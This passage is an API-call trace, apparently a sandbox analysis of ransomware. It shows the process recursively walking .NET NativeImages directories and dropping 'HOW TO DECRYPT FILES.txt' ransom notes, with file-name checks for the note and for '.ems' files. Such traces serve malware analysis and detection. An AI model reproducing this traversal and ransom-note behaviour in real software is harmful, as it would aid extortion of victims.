[0106.769] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.769] CloseHandle (hObject=0x90) returned 1 [0106.769] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\", lpString2="System.Web.Entity.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\System.Web.Entity.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\System.Web.Entity.ni.dll" [0106.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\System.Web.Entity.ni.dll", pszSpec="*.ems") returned 0 [0106.770] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c8721dd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c8721dd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c89833d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x50200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Entity.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.770] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.770] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c8e45fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c8e45fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c8e45fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9a3ab1594cf5cd52f0794b0a93a14b57", cAlternateFileName="9A3AB1~1")) returned 0 [0106.770] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.770] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ce658e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ce658e8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ce658e8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Entity.D#", cAlternateFileName="SYSTEM~1.D#")) returned 1 [0106.770] lstrcmpA (lpString1=".", lpString2="System.Web.Entity.D#") returned -1 [0106.770] lstrcmpA (lpString1="..", lpString2="System.Web.Entity.D#") returned -1 [0106.770] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.770] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Web.Entity.D#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#" [0106.771] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ce658e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ce658e8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ce658e8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.771] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.771] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ce658e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ce658e8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ce658e8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.771] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.771] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.771] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ce658e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ce658e8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ce658e8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a63e76cc86c8958f0f3e9741c0d89f14", cAlternateFileName="A63E76~1")) returned 1 [0106.772] lstrcmpA (lpString1=".", lpString2="a63e76cc86c8958f0f3e9741c0d89f14") returned -1 [0106.772] lstrcmpA (lpString1="..", lpString2="a63e76cc86c8958f0f3e9741c0d89f14") returned -1 [0106.772] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\*.*") returned="*.*" [0106.772] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\", lpString2="a63e76cc86c8958f0f3e9741c0d89f14" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14" [0106.772] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ce658e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ce658e8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ce658e8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.772] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.772] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ce658e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ce658e8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ce658e8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.772] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.773] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.773] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cdf34c7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8cdf34c7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8cdf34c7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x49a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Entity.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.773] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.773] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Entity.Design.ni.dll") returned -1 [0106.773] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Entity.Design.ni.dll") returned -1 [0106.773] lstrcmpiA (lpString1="", lpString2="System.Web.Entity.Design.ni.dll") returned -1 [0106.773] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\*.*") returned="*.*" [0106.773] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\" [0106.773] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\") returned="" [0106.773] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\HOW TO DECRYPT FILES.txt" [0106.773] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.entity.d#\\a63e76cc86c8958f0f3e9741c0d89f14\\how to decrypt files.txt")) returned 0xffffffff [0106.773] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.entity.d#\\a63e76cc86c8958f0f3e9741c0d89f14\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.776] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.776] CloseHandle (hObject=0x90) returned 1 [0106.776] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\", lpString2="System.Web.Entity.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\System.Web.Entity.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\System.Web.Entity.Design.ni.dll" [0106.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity.D#\\a63e76cc86c8958f0f3e9741c0d89f14\\System.Web.Entity.Design.ni.dll", pszSpec="*.ems") returned 0 [0106.777] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cdf34c7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8cdf34c7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8cdf34c7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x49a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Entity.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.777] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.777] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ce658e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ce658e8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ce658e8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a63e76cc86c8958f0f3e9741c0d89f14", cAlternateFileName="A63E76~1")) returned 0 [0106.777] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.777] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86f7aaf9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8da0043d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8da0043d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Extensio#", cAlternateFileName="SYSTEM~1.EXT")) returned 1 [0106.777] lstrcmpA (lpString1=".", lpString2="System.Web.Extensio#") returned -1 [0106.777] lstrcmpA (lpString1="..", lpString2="System.Web.Extensio#") returned -1 [0106.777] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.777] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Web.Extensio#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#" [0106.778] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86f7aaf9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8da0043d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8da0043d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.778] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.778] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86f7aaf9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8da0043d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8da0043d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.778] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.778] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.778] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da0043d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8da0043d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8da0043d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0b5071ee1d40266575a7ac53b9b299d4", cAlternateFileName="0B5071~1")) returned 1 [0106.779] lstrcmpA (lpString1=".", lpString2="0b5071ee1d40266575a7ac53b9b299d4") returned -1 [0106.779] lstrcmpA (lpString1="..", lpString2="0b5071ee1d40266575a7ac53b9b299d4") returned -1 [0106.779] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\*.*") returned="*.*" [0106.779] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\", lpString2="0b5071ee1d40266575a7ac53b9b299d4" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4" [0106.779] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da0043d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8da0043d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8da0043d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.834] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.834] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da0043d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8da0043d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8da0043d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.834] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.834] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.834] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d8a97db, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8d8a97db, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8d8f5a9b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xd2000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.834] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.834] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Extensions.Design.ni.dll") returned -1 [0106.834] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Extensions.Design.ni.dll") returned -1 [0106.834] lstrcmpiA (lpString1="", lpString2="System.Web.Extensions.Design.ni.dll") returned -1 [0106.835] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\*.*") returned="*.*" [0106.835] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\" [0106.835] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\") returned="" [0106.835] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\HOW TO DECRYPT FILES.txt" [0106.835] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\how to decrypt files.txt")) returned 0xffffffff [0106.835] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.839] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.839] CloseHandle (hObject=0x90) returned 1 [0106.839] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\", lpString2="System.Web.Extensions.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\System.Web.Extensions.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\System.Web.Extensions.Design.ni.dll" [0106.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\0b5071ee1d40266575a7ac53b9b299d4\\System.Web.Extensions.Design.ni.dll", pszSpec="*.ems") returned 0 [0106.839] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d8a97db, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8d8a97db, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8d8f5a9b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xd2000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.839] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.843] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86f7aaf9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x86f7aaf9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x86f7aaf9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="70823ac0d6e6631a11d443bf38987cc9", cAlternateFileName="70823A~1")) returned 1 [0106.843] lstrcmpA (lpString1=".", lpString2="70823ac0d6e6631a11d443bf38987cc9") returned -1 [0106.843] lstrcmpA (lpString1="..", lpString2="70823ac0d6e6631a11d443bf38987cc9") returned -1 [0106.843] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\*.*") returned="*.*" [0106.843] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\", lpString2="70823ac0d6e6631a11d443bf38987cc9" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9" [0106.843] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86f7aaf9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x86f7aaf9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x86f7aaf9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.844] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.844] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86f7aaf9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x86f7aaf9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x86f7aaf9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.844] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.844] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.844] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e23e97, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x86e23e97, 